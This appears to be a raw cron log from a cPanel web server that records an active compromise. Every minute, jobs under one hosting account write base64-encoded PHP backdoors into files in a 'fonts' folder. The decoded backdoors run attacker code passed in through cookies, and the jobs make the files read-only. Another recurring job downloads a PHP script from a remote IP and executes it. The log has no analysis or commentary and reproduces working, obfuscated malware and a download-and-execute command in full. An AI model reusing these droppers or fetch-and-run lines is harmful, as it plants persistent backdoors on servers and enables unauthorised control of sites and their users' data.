Sep 20 06:38:01 ip-184-168-122-23 CROND[22571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:38:01 ip-184-168-122-23 CROND[22573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:39:01 ip-184-168-122-23 CROND[22817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:39:01 ip-184-168-122-23 CROND[22818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:39:01 ip-184-168-122-23 CROND[22820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:39:01 ip-184-168-122-23 CROND[22822]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 06:39:01 ip-184-168-122-23 CROND[22824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:40:01 ip-184-168-122-23 CROND[23063]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 06:40:01 ip-184-168-122-23 CROND[23067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:40:01 ip-184-168-122-23 CROND[23068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:40:01 ip-184-168-122-23 CROND[23066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:40:01 ip-184-168-122-23 CROND[23071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:40:01 ip-184-168-122-23 CROND[23072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:40:01 ip-184-168-122-23 CROND[23073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:40:01 ip-184-168-122-23 CROND[23075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:41:01 ip-184-168-122-23 CROND[23399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:41:01 ip-184-168-122-23 CROND[23401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:41:01 ip-184-168-122-23 CROND[23402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:41:01 ip-184-168-122-23 CROND[23404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:42:01 ip-184-168-122-23 CROND[23661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:42:01 ip-184-168-122-23 CROND[23663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:42:01 ip-184-168-122-23 CROND[23666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:42:01 ip-184-168-122-23 CROND[23665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:42:01 ip-184-168-122-23 CROND[23664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:43:01 ip-184-168-122-23 CROND[23891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:43:01 ip-184-168-122-23 CROND[23893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:43:01 ip-184-168-122-23 CROND[23895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:43:01 ip-184-168-122-23 CROND[23894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:44:01 ip-184-168-122-23 CROND[24145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:44:01 ip-184-168-122-23 CROND[24150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:44:01 ip-184-168-122-23 CROND[24149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:44:01 ip-184-168-122-23 CROND[24147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:44:01 ip-184-168-122-23 CROND[24148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:45:01 ip-184-168-122-23 CROND[24420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:45:01 ip-184-168-122-23 CROND[24421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:45:01 ip-184-168-122-23 CROND[24425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:45:01 ip-184-168-122-23 CROND[24424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:45:01 ip-184-168-122-23 CROND[24430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:45:01 ip-184-168-122-23 CROND[24431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:46:01 ip-184-168-122-23 CROND[24654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:46:01 ip-184-168-122-23 CROND[24658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:46:01 ip-184-168-122-23 CROND[24656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:46:01 ip-184-168-122-23 CROND[24659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:46:01 ip-184-168-122-23 CROND[24661]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 06:46:01 ip-184-168-122-23 CROND[24657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:46:01 ip-184-168-122-23 CROND[24660]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 06:47:01 ip-184-168-122-23 CROND[25084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:47:01 ip-184-168-122-23 CROND[25086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:47:01 ip-184-168-122-23 CROND[25088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:47:01 ip-184-168-122-23 CROND[25087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:48:01 ip-184-168-122-23 CROND[25365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:48:01 ip-184-168-122-23 CROND[25364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:48:01 ip-184-168-122-23 CROND[25368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:48:01 ip-184-168-122-23 CROND[25370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:48:01 ip-184-168-122-23 CROND[25371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:49:01 ip-184-168-122-23 CROND[25685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:49:01 ip-184-168-122-23 CROND[25687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:49:01 ip-184-168-122-23 CROND[25688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:49:01 ip-184-168-122-23 CROND[25689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:50:01 ip-184-168-122-23 CROND[25930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:50:01 ip-184-168-122-23 CROND[25932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:50:01 ip-184-168-122-23 CROND[25933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:50:01 ip-184-168-122-23 CROND[25934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
